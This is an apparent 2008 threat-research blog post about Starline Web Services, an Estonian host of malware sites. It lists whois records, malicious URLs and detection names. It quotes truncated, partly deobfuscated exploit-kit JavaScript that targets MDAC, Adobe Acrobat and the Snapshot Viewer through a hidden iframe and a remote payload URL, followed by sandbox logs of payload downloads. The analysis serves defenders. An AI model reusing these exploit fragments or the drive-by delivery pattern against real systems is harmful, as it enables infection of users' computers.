Andrew Martin

Sources of Badness – Starline Web Services

Next up, we have Starline Web Services, based in Estonia. Starline was recently in the news for briefly hosting a Srizbi C&C as reported by Fireeye.

inetnum:        92.62.101.0 - 92.62.101.255
netname:        STARLINE_EE
descr:          Starline Web Services
country:        EE
admin-c:        VN268-RIPE
tech-c:         VN268-RIPE
status:         ASSIGNED PA
mnt-by:         AS39823-MNT
changed:        roman@compic.ee 20080403
e-mail:         info@starline.ee
abuse-mailbox:  abuse@starline.ee
source:         RIPE

The Yahoo article has lots of great information on the relationship between Starline and it’s upstream providers, so I won’t delve into that here.

Here are the hits I’ve seen from their IP space:

92.62.100.0 – 92.62.101.255

92.62.100.68
2008-11-05
plotfive.cn /load.php

2008-11-12 /cache/doc.pdf

2008-11-22 /cache/doc.pdf

92.62.101.13
2008-10-24
tgspk.cn /zpl/pdf.php

92.62.101.53
2008-10-30
blufda.com /eez3a893/spl/pdf.pdf

2008-11-26 /u8899r5v/spl/pdf.pdf
/u8899r5v/exe.php

2008-12-17
kraspa.com /yg6cv7ar/spl/pdf.pdf

92.62.100.44
2008-09-18
92.62.100.44 /1/
/2/
92.62.100.43
2008-09-17
92.62.100.43 /1/
/2/

There’s quite a history here. From the looks of things, someone has been
moving around their malware from domain to domain on 92.62.101.53. All
of these sites are down as of this writing except kraspa.com. Lets dive
further into this site.

The first page I saw was kraspa.com /yg6cv7ar/spl/pdf.pdf however
this is not the whole story. When investigating that exact URL, pdf.pdf
is not found. This is curious as I saw the site earlier today. Backing up
to the root of kraspa.com, we get an index page. The index page contains
an iframe that points to a different directory. The malware author must
have coded his site to rotate directory names based on a certain criteria.
This makes investigation difficult if you can’t figure out where it will
send victims to next.

The next iframe I got contained:

src=”/ov9632l9/index.php”

The next page that comes into play is the exploit script index.php which
is detected as:

Trojan-Downloader.JS.Psyme.alv

Decoding the obfuscation reveals exploits for MDAC, Adobe Acrobat and
the Microsoft Access Snapshot viewer. Here’s some of the script:

var p_url = “http://kraspa.com/ov9632l9/ztt.php”;
function MDAC(){

var nuc=”;
d8= 0;
var koSZV = document.createElement(“o”+nuc+”b”+nuc+”je”+nuc+”c”+nuc+”t”);
koSZV.setAttribute(“id”,”<”+nuc+”?=k”+nuc+”o”+nuc+”S”+nuc+”ZV?”+nuc+”>”);
[....]
function PDF()
{
document.write(‘<iframe src=”spl/pdf.pdf” width=1 height=1 style=”display:none”></iframe>’);
[....]
function SS()
{
var arbitrary_file = p_url;
var dest = ‘C:/AUTOEXEC.BAT’;
document.write(“<object classid=’clsid:F0E42D60-368C-11D0-AD81-00A0C90DC8D9′ id=’attack’></object>”);
[....]
if (MDAC()||PDF()||SS()) { }
Detections for the malicious pdf:

JS:Agent-BQ
Exploit.RealPlr.K

The payload is a file called ztt.php, here are a few of the detections:

Trojan.Win32.Delf.gpg
Troj/Dloadr-BZT
Trojan.Win32.Delf.fyl

A quick submission to Threat Expert (report) and Anubis (report) reveal
further binaries that are downloaded. The .dat files are not exes, but a
type of binary data file.

From ANUBIS:1033 to 92.62.101.53:80 – [kraspa.com]
Request: GET /flo/zro.dat
Response: 200 “OK”
Request: GET /flo/mp.dat
Response: 200 “OK”
Request: GET /flo/3rkour.dat
Response: 200 “OK”

Of particular interest is 79.143.177.43, another Latvian host with a
small /24 network. Might be worth keeping your eyes open for them too.

inetnum:        79.143.177.0 - 79.143.177.255
netname:        VDHOST
descr:          VDHost network
org:            ORG-Vs27-RIPE
country:        LV
admin-c:        CINA1-RIPE
tech-c:         CINA1-RIPE
status:         ASSIGNED PA
mnt-by:         IT9812-MNT

From ANUBIS:1036 to 79.143.177.43:80 – [79.143.177.43]
Request: GET /myfiles/95/139/file.exe
Response: 200 “OK”
From ANUBIS:1037 to 210.83.85.100:80 – [orzsys.cc]
Request: GET /files/20026.exe
Response: 200 “OK”